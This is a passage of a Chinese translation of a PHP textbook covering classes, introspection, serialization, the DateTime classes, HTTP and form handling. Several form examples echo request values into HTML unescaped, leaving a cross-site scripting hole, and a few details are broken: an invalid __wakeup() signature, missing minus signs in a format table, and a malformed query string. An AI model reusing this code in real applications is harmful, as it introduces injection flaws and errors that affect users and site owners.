 use Sortable;
}

$bird = new Bird;
$car = new Car;
$comparison = $bird->compareById($car);

当你在子类中实现一个抽象方法时,方法签名必须匹配——即,它们必须接收相同数量的必需参数,并且如果任何参数具有类型提示,则这些类型提示必须匹配。此外,方法的可见性必须相同或更少受限。

构造函数

当实例化对象时,你可以在类名后提供一个参数列表:

$person = new Person("Fred", 35);

这些参数传递给类的构造函数,一个特殊的函数,用于初始化类的属性。

构造函数是类中称为__construct()的函数。这是Person类的构造函数:

class Person {
 function __construct($name, $age) {
 $this->name = $name;
 $this->age = $age;
 }
}

PHP 不提供自动构造函数链;也就是说,如果你实例化一个派生类的对象,只有派生类中的构造函数会自动调用。要调用父类的构造函数,派生类的构造函数必须显式调用父类的构造函数。在这个例子中,Employee类的构造函数调用了Person的构造函数:

class Person {
 public $name, $address, $age;

 function __construct($name, $address, $age) {
 $this->name = $name;
 $this->address = $address;
 $this->age = $age;
 }
}

class Employee extends Person {
 public $position, $salary;

 function __construct($name, $address, $age, $position, $salary) {
 parent::__construct($name, $address, $age);

 $this->position = $position;
 $this->salary = $salary;
 }
}

析构函数

当对象被销毁时,比如当最后一个引用被移除或脚本结束时,它的析构函数会被调用。因为 PHP 在变量超出范围或脚本执行结束时自动清理所有资源,它们的应用是有限的。析构函数是一个名为__destruct()的方法:

class Building {
 function __destruct() {
 echo "A Building is being destroyed!";
 }
}

匿名类

在创建用于测试的模拟对象时,创建匿名类非常有用。匿名类的行为与任何其他类相同,只是你不提供名称(这意味着不能直接实例化):

class Person {
 public $name = ‘';

 function getName() {
 return $this->name;
 }
}

// return an anonymous implementation of Person
$anonymous = new class() extends Person {
 public function getName() {
 // return static value for testing purposes
 return "Moana";
 }
}; // note: requires closing semicolon, unlike nonanonymous class definitions

与具名类的实例不同,匿名类的实例无法被序列化。尝试序列化匿名类的实例会导致错误。

自省

自省是程序检查对象特征(如其名称、父类(如果有)、属性和方法)的能力。使用自省,你可以编写操作任何类或对象的代码。在编写代码时,你无需知道定义了哪些方法或属性;相反,你可以在运行时发现这些信息,这使得编写通用调试器、序列化程序、分析器等成为可能。在本节中,我们将介绍 PHP 提供的自省函数。

检查类

要确定一个类是否存在,可以使用class_exists()函数,它接受一个字符串并返回一个布尔值。或者,你可以使用get_declared_classes()函数,它返回一个已定义类的数组,并检查类名是否在返回的数组中:

$doesClassExist = class_exists(*`classname`*);

$classes = get_declared_classes();
$doesClassExist = in_array(*`classname`*, $classes);

使用get_class_methods()get_class_vars()函数可以获取类中存在的方法和属性(包括从超类继承的方法和属性)。这些函数接受一个类名并返回一个数组:

$methods = get_class_methods(*`classname`*);
$properties = get_class_vars(*`classname`*);

类名可以是包含类名的变量、裸单词或带引号的字符串:

$class = "Person";
$methods = get_class_methods($class);
$methods = get_class_methods(Person); // same
$methods = get_class_methods("Person"); // same

get_class_methods()返回的数组是一个简单的方法名称列表。get_class_vars()返回的关联数组将属性名称映射到值,并且还包括继承的属性。

get_class_vars()的一个怪异之处在于它仅返回具有默认值并在当前作用域可见的属性;没有办法发现未初始化的属性。

使用get_parent_class()来查找一个类的父类:

$superclass = get_parent_class(*`classname`*);

示例 6-1 列出了displayClasses()函数,该函数显示了当前声明的所有类及其每个类的方法和属性。

示例 6-1. 显示所有已声明的类
function displayClasses() {
 $classes = get_declared_classes();

 foreach ($classes as $class) {
 echo "Showing information about {$class}<br />";
 $reflection = new ReflectionClass($class);

 $isAnonymous = $reflection->isAnonymous() ? "yes" : "no";
 echo "Is Anonymous: {$isAnonymous}<br />";

 echo "Class methods:<br />";
 $methods = $reflection->getMethods(ReflectionMethod::IS_STATIC);

 if (!count($methods)) {
 echo "<i>None</i><br />";
 }
 else {
 foreach ($methods as $method) {
 echo "<b>{$method}</b>()<br />";
 }
 }

 echo "Class properties:<br />";

 $properties = $reflection->getProperties();

 if (!count($properties)) {
 echo "<i>None</i><br />";
 }
 else {
 foreach(array_keys($properties) as $property) {
 echo "<b>\${$property}</b><br />";
 }
 }

 echo "<hr />";
 }
}

检查一个对象

要获取对象所属的类,首先确保它是一个对象,使用is_object()函数,然后用get_class()函数获取类:

$isObject = is_object(*`var`*);
$classname = get_class(*`object`*);

在调用对象的方法之前,您可以使用method_exists()函数确保方法存在:

$methodExists = method_exists(*`object`*, *`method`*);

调用未定义的方法会触发运行时异常。

就像get_class_vars()返回一个类的属性数组一样,get_object_vars()返回一个对象中设置的属性数组:

$array = get_object_vars(*`object`*);

正如get_class_vars()只返回具有默认值的属性一样,get_object_vars()只返回已设置的属性:

class Person {
 public $name;
 public $age;
}

$fred = new Person;
$fred->name = "Fred";
$props = get_object_vars($fred); // array('name' => "Fred", 'age' => NULL);

get_parent_class()函数接受一个对象或一个类名。它返回父类的名称,如果没有父类则返回FALSE

class A {}
class B extends A {}

$obj = new B;
echo get_parent_class($obj);
echo get_parent_class(B);
`AA`

示例内省程序

示例 6-2 展示了一组函数,显示了有关对象属性、方法和继承树的参考页面信息。

示例 6-2. 对象内省函数
// return an array of callable methods (include inherited methods)
function getCallableMethods($object): Array {
 $reflection = new ReflectionClass($object);
 $methods = $reflection->getMethods();

 return $methods;
}

// return an array of superclasses
function getLineage($object): Array {
 $reflection = new ReflectionClass($object);

 if ($reflection->getParentClass()) {
 $parent = $reflection->getParentClass();

 $lineage = getLineage($parent);
 $lineage[] = $reflection->getName();
 }
 else {
 $lineage = array($reflection->getName());
 }

 return $lineage;
}

// return an array of subclasses
function getChildClasses($object): Array {
 $reflection = new ReflectionClass($object);

 $classes = get_declared_classes();

 $children = array();

 foreach ($classes as $class) {
 $checkedReflection = new ReflectionClass($class);

 if ($checkedReflection->isSubclassOf($reflection->getName())) {
 $children[] = $checkedReflection->getName();
 }
 }

 return $children;
}

// return an array of properties
function getProperties($object): Array {
 $reflection = new ReflectionClass($object);

 return $reflection->getProperties();
}

// display information on an object
function printObjectInfo($object) {
 $reflection = new ReflectionClass($object);
 echo "<h2>Class</h2>";
 echo "<p>{$reflection->getName()}</p>";

 echo "<h2>Inheritance</h2>";

 echo "<h3>Parents</h3>";
 $lineage = getLineage($object);
 array_pop($lineage);

 if (count($lineage) > 0) {
 echo "<p>" . join(" -&gt; ", $lineage) . "</p>";
 }
 else {
 echo "<i>None</i>";
 }

 echo "<h3>Children</h3>";
 $children = getChildClasses($object);
 echo "<p>";

 if (count($children) > 0) {
 echo join(', ', $children);
 }
 else {
 echo "<i>None</i>";
 }

 echo "</p>";

 echo "<h2>Methods</h2>";
 $methods = getCallableMethods($object);

 if (!count($methods)) {
 echo "<i>None</i><br />";
 }
 else {
 foreach($methods as $method) {
 echo "<b>{$method}</b>();<br />";
 }
 }

 echo "<h2>Properties</h2>";
 $properties = getProperties($object);

 if (!count($properties)) {
 echo "<i>None</i><br />";
 }
 else {
 foreach(array_keys($properties) as $property) {
 echo "<b>\${$property}</b> = " . $object->$property . "<br />";
 }
 }

 echo "<hr />";
}

这里是一些示例类和对象,演示了来自示例 6-2 的内省函数:

class A {
 public $foo = "foo";
 public $bar = "bar";
 public $baz = 17.0;

 function firstFunction() { }

 function secondFunction() { }
}

class B extends A {
 public $quux = false;

 function thirdFunction() { }
}

class C extends B { }

$a = new A();
$a->foo = "sylvie";
$a->bar = 23;

$b = new B();
$b->foo = "bruno";
$b->quux = true;

$c = new C();

printObjectInfo($a);
printObjectInfo($b);
printObjectInfo($c);

序列化

序列化一个对象意味着将其转换为可以存储在文件中的字节流表示。这对于持久数据非常有用;例如,PHP 会话会自动保存和恢复对象。PHP 中的序列化大部分是自动的——除了调用serialize()unserialize()函数外,你几乎不需要额外工作:

$encoded = serialize(*`something`*);
$something = unserialize(*`encoded`*);

序列化最常用于 PHP 的会话中,会话会处理对象的序列化。你只需告诉 PHP 要跟踪哪些变量,它们就会在您网站上的页面访问之间自动保存。然而,会话并不是序列化的唯一用途——如果您想实现自己的持久对象形式,serialize()unserialize()是一个自然的选择。

对象的类必须在反序列化之前定义。尝试反序列化一个尚未定义类的对象会将对象放入stdClass,这几乎使其无用。这的一个实际后果是,如果您使用 PHP 会话自动序列化和反序列化对象,则必须在您网站的每个页面中包含包含对象类定义的文件。例如,您的页面可能如下所示:

include "object_definitions.php"; // load object definitions
session_start(); // load persistent variables
?>
<html>...

PHP 在序列化和反序列化过程中为对象提供了两个钩子:__sleep()__wakeup()。这些方法用于通知对象它们正在被序列化或反序列化。如果对象没有这些方法,它们可以被序列化,但是它们不会被通知该过程。

__sleep()方法在对象序列化之前调用;它可以执行任何必要的清理操作以保留对象的状态,如关闭数据库连接、写入未保存的持久数据等。它应返回一个包含需要写入字节流的数据成员名称的数组。如果返回一个空数组,则不会写入任何数据。

相反,__wakeup()方法在从字节流创建对象后立即调用。该方法可以执行任何所需的操作,如重新打开数据库连接和其他初始化任务。

示例 6-3 是一个对象类,Log,提供两个有用的方法:write()用于将消息追加到日志文件中,read()用于获取日志文件的当前内容。它使用__wakeup()重新打开日志文件和__sleep()关闭日志文件。

示例 6-3. Log.php 文件
class Log {
 private $filename;
 private $fh;

 function __construct($filename) {
 $this->filename = $filename;
 $this->open();
 }

 function open() {
 $this->fh = fopen($this->filename, 'a') or die("Can't open {$this->filename}");
 }

 function write($note) {
 fwrite($this->fh, "{$note}\n");
 }

 function read() {
 return join('', file($this->filename));
 }

 function __wakeup(array $data): void {
 $this->filename = $data["filename"];
 $this->open();
 }

 function __sleep() {
 // write information to the account file
 fclose($this->fh);

 return ["filename" => $this->filename];
 }
}

Log类的定义存储在名为Log.php的文件中。示例 6-4 的 HTML 首页使用Log类和 PHP 会话来创建一个持久的日志变量$logger

示例 6-4. front.php
<?php
include_once "Log.php";
session_start();
?>

<html><head><title>Front Page</title></head>
<body>

<?php
$now = strftime("%c");

if (!isset($_SESSION['logger'])) {
 $logger = new Log("/tmp/persistent_log");
 $_SESSION['logger'] = $logger;
 $logger->write("Created $now");

 echo("<p>Created session and persistent log object.</p>");
}
else {
 $logger = $_SESSION['logger'];
}

$logger->write("Viewed first page {$now}");

echo "<p>The log contains:</p>";
echo nl2br($logger->read());
?>

<a href="next.php">Move to the next page</a>

</body></html>

示例 6-5 展示了文件next.php,一个 HTML 页面。从首页到该页面的链接触发了持久对象$logger的加载。__wakeup()调用重新打开日志文件,以便对象准备好使用。

示例 6-5. next.php
<?php
include_once "Log.php";
session_start();
?>

<html><head><title>Next Page</title></head>
<body>

<?php
$now = strftime("%c");
$logger = $_SESSION['logger'];
$logger->write("Viewed page 2 at {$now}");

echo "<p>The log contains:";
echo nl2br($logger->read());
echo "</p>";
?>

</body></html>

下一步

学习如何在您自己的脚本中使用对象是一项巨大的任务。在下一章中,我们将从语言语义转向实践,并向您展示 PHP 中最常用的一组面向对象类之一——日期和时间类。

第七章:日期和时间

典型的 PHP 开发人员可能需要了解可用的日期和时间函数,比如向数据库记录条目添加日期戳或计算两个日期之间的差异。PHP 提供了 DateTime 类,可以同时处理日期和时间信息,以及与之配合使用的 DateTimeZone 类。

最近几年来,随着网页门户和社交网络社区(如 Facebook 和 Twitter)的出现,时区管理变得更加突出。能够将信息发布到网站,并让其根据用户所在的世界位置识别你在同一网站上的位置,确实是当今的一个要求。但请记住,像 date() 这样的函数会从运行脚本的服务器获取默认信息,因此,除非人类客户告诉你他们在世界上的位置,否则自动确定时区位置可能会非常困难。不过,一旦获取了信息,操作数据就变得很容易(本章稍后将详细讨论时区)。

注意

原始的日期(及相关)函数在 Windows 和某些 Unix 安装中存在时间缺陷。由于底层使用的 32 位有符号整数的特性来管理日期和时间数据,它们无法处理 1901 年 12 月 13 日之前或 2038 年 1 月 19 日之后的日期。因此,建议使用更新的 DateTime 类系列以提高准确性。

处理日期和时间的有四个相互关联的类。DateTime 类处理日期本身;DateTimeZone 类处理时区;DateInterval 类处理两个 DateTime 实例之间的时间跨度;最后,DatePeriod 类处理日期和时间的常规间隔遍历。还有两个不常用的支持类 DateTimeImmutableDateTimeInterface 属于整个 DateTime “家族”,但本章不涵盖这些。

DateTime 类的构造函数自然是一切的起点。此方法接受两个参数,时间戳和时区。例如:

$dt = new DateTime("2019-06-27 16:42:33", new DateTimeZone("America/Halifax"));

我们创建 $dt 对象,为其分配日期和时间字符串作为第一个参数,并使用第二个参数设置时区。在此示例中,我们内联实例化了 DateTimeZone 实例,但您也可以将 DateTimeZone 对象实例化为其自己的变量,然后在构造函数中使用,如下所示:

$dtz = new DateTimeZone("America/Halifax");
$dt = new DateTime("2019-06-27 16:42:33", $dtz);

显然,我们正在为这些类分配硬编码的值,而这种信息类型可能并非始终可供您的代码使用,或者可能不是您想要的。或者,我们可以从服务器获取时区值,并在 DateTimeZone 类中使用。要获取当前服务器值,请使用类似以下代码的代码:

$tz = ini_get('date.timezone');
$dtz = new DateTimeZone($tz);
$dt = new DateTime("2019-06-27 16:42:33", $dtz);

这些代码示例为两个类 DateTimeDateTimeZone 设定了一组值。最终,你将在脚本的其他地方以某种方式使用这些信息。DateTime 类的一个方法是 format(),它使用与 date_format() 函数相同的格式输出代码。这些日期格式代码都列在附录中,位于 date_format() 函数的部分。这里是 format() 方法作为输出发送到浏览器的示例:

echo "date: " . $dt->format("Y-m-d h:i:s");
`date``:` `2019``-``06``-``27` `04``:``42``:``33`

到目前为止,我们已经提供了日期和时间给构造函数,但有时您还希望从服务器获取日期和时间值。要做到这一点,只需将字符串 "now" 作为第一个参数提供。

下面的代码与其他示例相同,除了这里我们从服务器获取日期和时间类的值。实际上,由于我们从服务器获取信息,类的属性更加充分(请注意,某些 PHP 实例可能未设置此参数,因此将返回错误,且服务器的时区可能与您的时区不匹配):

$tz = ini_get('date.timezone');
$dtz = new DateTimeZone($tz);
$dt = new DateTime("now", $dtz);

echo "date: " . $dt->format("Y-m-d h:i:s");
`date``:` `2019``-``06``-``27` `04``:``02``:``54`

DateTimediff() 方法做你可能期望的事情 —— 它返回两个日期之间的差异。方法的返回值是 DateInterval 类的一个实例。

要获取两个 DateTime 实例之间的差异,请使用:

$tz = ini_get('date.timezone');
$dtz = new DateTimeZone($tz);

$past = new DateTime("2019-02-12 16:42:33", $dtz);
$current = new DateTime("now", $dtz);

// creates a new instance of DateInterval $diff = $past->diff($current);

$pastString = $past->format("Y-m-d");
$currentString = $current->format("Y-m-d");
$diffString = $diff->format("%yy %mm, %dd");

echo "Difference between {$pastString} and {$currentString} is {$diffString}";
`Difference` `between` `2019``-``02``-``12` `and` `2019``-``06``-``27` `is` `0``y` `4``m``,` `14``d`

diff() 方法是在一个 DateTime 对象上调用的,参数是另一个 DateTime 对象。然后我们使用 format() 方法准备浏览器输出。

注意,DateInterval 类也有一个 format() 方法。由于它处理两个日期之间的差异,格式字符代码与 DateTime 类略有不同。每个字符代码之前都要加上百分号 %。可用的字符代码在表 7-1 中提供。

表 7-1. DateInterval 格式控制字符

字符 格式化效果
a 天数(例如,23)
d 天数(不包括已包含在月数中的天数)
D 天数,如果小于 10 天则包括前导零(例如,02 和 125)
f 数字微秒(例如,6602 或 41569)
F 数字微秒,前导零,至少六位数长度(例如,006602 或 041569)
h 小时数
H 小时数,如果小于 10 小时则包括前导零(例如,12 和 04)
i 分钟数
I 分钟数,如果小于 10 分钟则包括前导零(例如,05 和 33)
m 月数
M 月数,如果小于 10 个月则包括前导零(例如,05 和 1533)
r 如果差异为负数,则为 ;如果差异为正数,则为空
R 如果差异为负数,则为 ;如果差异为正数,则为 +
s 秒数
S 秒数的数量,如果少于 10 秒,则包括前导零(例如,05 和 15)
y 年份的数量
Y 年份的数量,如果少于 10 年,则包括前导零(例如,00 和 12)
% 百分号 %

现在让我们更仔细地看看DateTimeZone类。可以使用get_ini()方法从php.ini文件中获取时区设置。使用getLocation()方法可以从时区对象获取更多信息。它提供时区的原始国家、经度和纬度,以及一些注释。通过这几行代码,您可以开始开发基于网络的 GPS 系统:

$tz = ini_get('date.timezone');
$dtz = new DateTimeZone($tz);

echo "Server's Time Zone: {$tz}<br/>";

foreach ($dtz->getLocation() as $key => $value) {
 echo "{$key} {$value}<br/>";
}
`Server``'``s` `Time` `Zone``:` `America``/``Halifax`
`country_code` `CA`
`latitude` `44.65`
`longitude` `-``63.6`
`comments` `Atlantic` `-` `NS` `(``most` `areas``);` `PE`

如果您想设置除服务器时区外的时区,必须将该值传递给DateTimeZone对象的构造函数。以下是一个示例,将时区设置为意大利罗马,并使用getLocation()方法显示信息:

$dtz = new DateTimeZone("Europe/Rome");

echo "Time Zone: " . $dtz->getName() . "<br/>";

foreach ($dtz->getLocation() as $key => $value) {
 echo "{$key} {$value}<br/>";
}

`Time` `Zone``:` `Europe``/``Rome`
`country_code` `IT`
`latitude` `41.9`
`longitude` `12.48333`
`comments`

可以在PHP 在线手册中找到按全球地区分类的有效时区名称列表。

使用相同的技术,您可以通过为访问者提供一个支持的时区列表,并通过ini_set()函数临时调整您的php.ini设置,使网站对访问者“本地化”。

尽管我们在本章讨论的类提供了相当多的日期和时间处理能力,但这只是冰山一角。请务必在 PHP 官网上进一步了解这些类及其功能。

接下来是什么

在设计 PHP 网站时,除了日期管理之外,还有很多需要理解的内容,因此可能会遇到许多问题,增加烦恼和 PITA(让人头疼的事)因素。下一章提供了多种技巧、窍门以及一些需要注意的问题,帮助减少这些痛点。涵盖的主题包括处理变量、管理表单数据以及使用 SSL(安全套接层)保护网络数据。做好准备吧!

第八章:Web 技术

PHP 设计为一种 Web 脚本语言,尽管可以在纯命令行和 GUI 脚本中使用它,但 Web 占 PHP 使用的绝大多数。动态网站可能具有表单、会话,有时还会进行重定向,本章解释了如何在 PHP 中实现这些元素。您将学习 PHP 如何提供对表单参数和上传文件的访问,如何发送 Cookie 并重定向浏览器,如何使用 PHP 会话等等。

HTTP 基础知识

Web 运行在 HTTP 或超文本传输协议上。该协议规定了 Web 浏览器如何从 Web 服务器请求文件以及服务器如何发送文件。为了理解本章中将向您展示的各种技术,您需要对 HTTP 有基本的了解。有关 HTTP 的更详细讨论,请参阅 HTTP Pocket Reference(O'Reilly)由 Clinton Wong 编写。

当 Web 浏览器请求 Web 页面时,它向 Web 服务器发送 HTTP 请求消息。请求消息始终包含一些头部信息,有时还包含正文。Web 服务器以回复消息响应,该消息始终包含头部信息,并且通常包含正文。HTTP 请求的第一行如下所示:

GET /index.html HTTP/1.1

此行指定了一个称为 方法 的 HTTP 命令,后跟文档的地址和正在使用的 HTTP 协议的版本。在这种情况下,请求正在使用 GET 方法使用 HTTP 1.1 请求 index.html 文档。在此初始行之后,请求可以包含可选的头部信息,为服务器提供有关请求的其他数据。

例如:

User-Agent: Mozilla/5.0 (Windows 2000; U) Opera 6.0 [en]
Accept: image/gif, image/jpeg, text/*, */*

User-Agent 头部提供有关 Web 浏览器的信息,而 Accept 头部指定了浏览器接受的 MIME 类型。在任何头部之后,请求包含一个空行以指示头部部分的结束。如果请求适用于所使用的方法(例如 POST 方法,我们将很快讨论),请求还可以包含其他数据。如果请求不包含任何数据,则以空行结束。

Web 服务器接收请求,处理它,并发送响应。HTTP 响应的第一行如下所示:

HTTP/1.1 200 OK

此行指定协议版本、状态码及该代码的描述。在本例中,状态码为 200,表示请求成功(因此描述为 OK)。状态行之后,响应包含头部,为客户端提供有关响应的附加信息。例如:

Date: Sat, 29 June 2019 14:07:50 GMT
Server: Apache/2.2.14 (Ubuntu)
Content-Type: text/html
Content-Length: 1845

Server 头部提供有关 Web 服务器软件的信息,而 Content-Type 头部指定响应中包含的数据的 MIME 类型。在头部之后,如果请求成功,则响应包含一个空行,然后是请求的数据。

最常见的两种 HTTP 方法是 GETPOSTGET 方法用于从服务器检索信息,例如文档、图像或数据库查询的结果。POST 方法用于提交信息,例如信用卡号或要存储在数据库中的信息。当用户在浏览器中键入 URL 或点击链接时,使用 GET 方法。当用户提交表单时,可以使用 GETPOST 方法,由 form 标签的 method 属性指定。我们将在“处理表单”章节详细讨论 GETPOST 方法。

变量

从 PHP 脚本中可以以三种不同的方式访问服务器配置和请求信息,这些信息总称为 EGPCS(环境、GETPOST、cookies 和 server)。

PHP 创建了六个包含 EGPCS 信息的全局数组:

$_ENV

包含任何环境变量的值,其中数组的键是环境变量的名称。

$_GET

包含作为 GET 请求一部分的任何参数,其中数组的键是表单参数的名称。

$_COOKIE

包含作为请求的一部分传递的任何 cookie 值,其中数组的键是 cookie 的名称。

$_POST

包含作为 POST 请求一部分的任何参数,其中数组的键是表单参数的名称。

$_SERVER

包含关于 Web 服务器的有用信息,如下一节所述。

$_FILES

包含有关上传文件的信息。

这些变量不仅是全局的,而且在函数定义内部也是可见的。$_REQUEST 数组由 PHP 自动创建,并包含 $_GET$_POST$_COOKIE 数组的所有元素。

服务器信息

$_SERVER 数组包含来自 Web 服务器的许多有用信息,其中大部分来自 公共网关接口(CGI)规范 所需的环境变量。以下是来自 CGI 的完整 $_SERVER 条目列表,包括一些示例值:

PHP_SELF

当前脚本的名称,相对于文档根目录(例如 /store/cart.php)。在前几章的示例代码中已经见过这个用法。当创建自引用脚本时,这个变量非常有用,稍后我们会看到。

SERVER_SOFTWARE

标识服务器的字符串(例如 "Apache/1.3.33 (Unix) mod_perl/1.26 PHP/5.0.4")。

SERVER_NAME

用于自引用 URL 的主机名、DNS 别名或 IP 地址(例如 www.example.com)。

GATEWAY_INTERFACE

遵循的 CGI 标准版本(例如 CGI/1.1)。

SERVER_PROTOCOL

请求协议的名称和版本(例如 HTTP/1.1)。

SERVER_PORT

请求发送到的服务器端口号(例如 80)。

REQUEST_METHOD

客户端用来获取文档的方法(例如,GET)。

PATH_INFO

客户端提供的额外路径元素(例如,/list/users)。

PATH_TRANSLATED

PATH_INFO 的值,由服务器转换为文件名(例如,/home/httpd/htdocs/list/users)。

SCRIPT_NAME

当前页面的 URL 路径,对于自引用脚本很有用(例如,/~me/menu.php)。

QUERY_STRING

在 URL 中 ? 后面的所有内容(例如,name=Fred+age=35)。

REMOTE_HOST

请求此页面的机器的主机名(例如,http://dialup-192-168-0-1.example.com)。如果该机器没有 DNS,这将为空,REMOTE_ADDR 是唯一提供的信息。

REMOTE_ADDR

包含请求此页面的机器的 IP 地址的字符串(例如,"192.168.0.250")。

AUTH_TYPE

用于保护页面的认证方法,如果页面受密码保护的话(例如,basic)。

REMOTE_USER

客户端经过身份验证时使用的用户名,如果页面受密码保护的话(例如,fred)。请注意,无法找出使用的密码。

Apache 服务器还为请求中的每个 HTTP 头创建 $_SERVER 数组的条目。对于每个键,头名称转换为大写,连字符(-)转换为下划线(_),并在前面添加字符串 "HTTP_"。例如,User-Agent 头的条目键为 "HTTP_USER_AGENT"。两个最常见和有用的头部是:

HTTP_USER_AGENT

浏览器用来识别自身的字符串(例如,"Mozilla/5.0 (Windows 2000; U) Opera 6.0 [en]")。

HTTP_REFERER

浏览器声称它来自以获取当前页面的页面的 URL(例如,http://www.example.com/last_page.html)。

处理表单

使用 PHP 处理表单很容易,因为表单参数在 $_GET$_POST 数组中可用。本节描述了一些技巧和技术,使处理更加容易。

方法

正如我们已经讨论过的,客户端可以使用两种 HTTP 方法将表单数据传递给服务器:GETPOST。特定表单使用的方法通过 form 标签的 method 属性指定。理论上,HTML 中方法不区分大小写,但实际上一些损坏的浏览器要求方法名必须全部大写。

GET 请求在 URL 中以 查询字符串 的形式编码表单参数,这由紧随 ? 的文本指示:

/path/to/chunkify.php?word=despicable&length=3

POST 请求通过 HTTP 请求的正文传递表单参数,保持 URL 不变。

GETPOST 最显著的区别是 URL 行。因为所有表单参数都通过 GET 请求编码在 URL 中,用户可以为 GET 查询创建书签。然而,他们不能使用 POST 请求做到这一点。

然而,GETPOST 请求之间最大的区别要微妙得多。HTTP 规范指出,GET 请求是幂等的——也就是说,对于特定 URL 的一个 GET 请求,包括表单参数,与对该 URL 进行两次或更多次请求是相同的。因此,Web 浏览器可以缓存 GET 请求的响应页面,因为响应页面不会因页面加载的次数而改变。由于幂等性,GET 请求应该仅用于查询,例如将单词分割成较小的块或将数字相乘,响应页面永远不会改变。

POST 请求不是幂等的。这意味着它们不能被缓存,服务器在每次显示页面时都会被联系。您可能在显示或重新加载某些页面之前看到您的 Web 浏览器提示您“重新提交表单数据?”。这使得 POST 请求成为适合查询的选择,其响应页面可能随时间变化,例如显示购物车的内容或公告板中的当前消息。

也就是说,幂等性在现实世界中经常被忽略。浏览器缓存通常实现得很差,而重新加载按钮很容易点击,程序员往往只是根据他们是否希望在 URL 中显示查询参数来使用 GETPOST。您需要记住的是,GET 请求不应该用于导致服务器更改的任何操作,例如下订单或更新数据库。

用于请求 PHP 页面的方法类型可以通过 $_SERVER['REQUEST_METHOD'] 获得。例如:

if ($_SERVER['REQUEST_METHOD'] == 'GET') {
 // handle a GET request
}
else {
 die("You may only GET this page.");
}

参数

使用 $_POST$_GET$_FILES 数组从 PHP 代码中访问表单参数。键是参数名称,值是这些参数的值。因为 HTML 字段名称中允许出现句点,但 PHP 变量名称中不允许出现句点,所以字段名称中的句点在数组中被转换为下划线(_)。

示例 8-1 显示了一个 HTML 表单,用于将用户提供的字符串分块。表单包含两个字段:一个用于字符串(参数名 word),一个用于生成块的大小(参数名 number)。

示例 8-1. chunkify 表单(chunkify.html)
<html>
 <head><title>Chunkify Form</title></head>

 <body>
 <form action="chunkify.php" method="POST">
 Enter a word: <input type="text" name="word" /><br />

 How long should the chunks be?
 <input type="text" name="number" /><br />
 <input type="submit" value="Chunkify!">
 </form>
</body>

</html>

示例 8-2 列出了 PHP 脚本 chunkify.php,该脚本接收 示例 8-1 中的表单提交的参数值。该脚本将参数值复制到变量中并使用它们。

示例 8-2. chunkify 脚本(chunkify.php)
<?php
$word = $_POST['word'];
$number = $_POST['number'];

$chunks = ceil(strlen($word) / $number);

echo "The {$number}-letter chunks of '{$word}' are:<br />\n";

for ($i = 0; $i < $chunks; $i++) {
 $chunk = substr($word, $i * $number, $number);
 printf("%d: %s<br />\n", $i + 1, $chunk);
}
?>

图 8-1 显示了 chunkify 表单和生成的输出。

chunkify 表单及其输出

图 8-1. chunkify 表单及其输出

自处理页面

一个 PHP 页面可以用来生成表单,然后处理它。如果用GET方法请求示例 8-3 中显示的页面,它将打印一个接受华氏温度的表单。然而,如果用POST方法调用该页面,页面将计算并显示相应的摄氏温度。

示例 8-3. 自处理的温度转换页面(temp.php)
<html>
<head><title>Temperature Conversion</title></head>
<body>

<?php if ($_SERVER['REQUEST_METHOD'] == 'GET') { ?>
 <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST">
 Fahrenheit temperature:
 <input type="text" name="fahrenheit" /><br />
 <input type="submit" value="Convert to Celsius!" />
 </form>

<?php }
else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
 $fahrenheit = $_POST['fahrenheit'];
 $celsius = ($fahrenheit - 32) * 5 / 9;

 printf("%.2fF is %.2fC", $fahrenheit, $celsius);
}
else {
 die("This script only works with GET and POST requests.");
} ?>

</body>
</html>

图 8-2 展示了温度转换页面及其输出。

温度转换页面及其输出

图 8-2. 温度转换页面及其输出

脚本另一种判断是显示表单还是处理表单的方法是查看是否已提供其中一个参数。这样可以编写一个使用GET方法提交值的自处理页面。示例 8-4 展示了使用GET请求提交参数的温度转换页面的新版本。页面使用参数的存在或不存在来确定要执行的操作。

示例 8-4. 使用 GET 方法的温度转换(temp2.php)
<html>
<head>
<title>Temperature Conversion</title>
</head>
<body>
<?php
if (isset ( $_GET ['fahrenheit'] )) {
 $fahrenheit = $_GET ['fahrenheit'];
} else {
 $fahrenheit = null;
}
if (is_null ( $fahrenheit )) {
 ?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">
 Fahrenheit temperature: <input type="text" name="fahrenheit" /><br />
 <input type="submit" value="Convert to Celsius!" />
 </form>
<?php
} else {
 $celsius = ($fahrenheit - 32) * 5 / 9;
 printf ( "%.2fF is %.2fC", $fahrenheit, $celsius );
}
?>
</body>
</html>

在示例 8-4 中,我们将表单参数值复制到$fahrenheit中。如果没有给出该参数,$fahrenheit将包含NULL,因此我们可以使用is_null()来测试我们是应该显示表单还是处理表单数据。

粘性表单

许多网站使用一种称为粘性表单的技术,查询结果显示一个搜索表单,其默认值是上一次查询的值。例如,如果在 Google 上搜索“Programming PHP”,结果页面顶部将包含另一个搜索框,其中已经包含“Programming PHP”。要将搜索精确到“Programming PHP from O’Reilly”,您只需添加额外的关键词。

这种粘性行为易于实现。示例 8-5 展示了我们从示例 8-4 中得到的温度转换脚本,其中表单被设置为粘性。基本技术是使用提交的表单值作为创建 HTML 字段时的默认值。

示例 8-5. 带有粘性表单的温度转换(sticky_form.php)
<html>
<head><title>Temperature Conversion</title></head>
<body>
<?php $fahrenheit = $_GET['fahrenheit']; ?>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">
 Fahrenheit temperature:
 <input type="text" name="fahrenheit" value="<?php echo $fahrenheit; ?>" /><br />
 <input type="submit" value="Convert to Celsius!" />
</form>

<?php if (!is_null($fahrenheit)) {
 $celsius = ($fahrenheit - 32) * 5 / 9;
 printf("%.2fF is %.2fC", $fahrenheit, $celsius);
} ?>

</body>
</html>

多值参数

使用select标签创建的 HTML 选择列表可以允许多项选择。为了确保 PHP 可以识别浏览器传递给表单处理脚本的多个值,您需要在 HTML 表单字段名称后使用方括号[]。例如:

<select name="languages[]">

 <option name="c">C</option>
 <option name="c++">C++</option>
 <option name="php">PHP</option>
 <option name="perl">Perl</option>
</select>

当用户提交表单时,$_GET['languages'] 包含一个数组,而不是一个简单的字符串。这个数组包含用户选择的数值。

示例 8-6 说明了 HTML 选择列表中的多个值选择。该表单为用户提供了一组人物属性。用户提交表单后,返回一个(不是很有趣的)用户个性描述。

示例 8-6. 使用选择框的多选值(select_array.php)
<html>
<head><title>Personality</title></head>
<body>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">
 Select your personality attributes:<br />
 <select name="attributes[]" multiple>
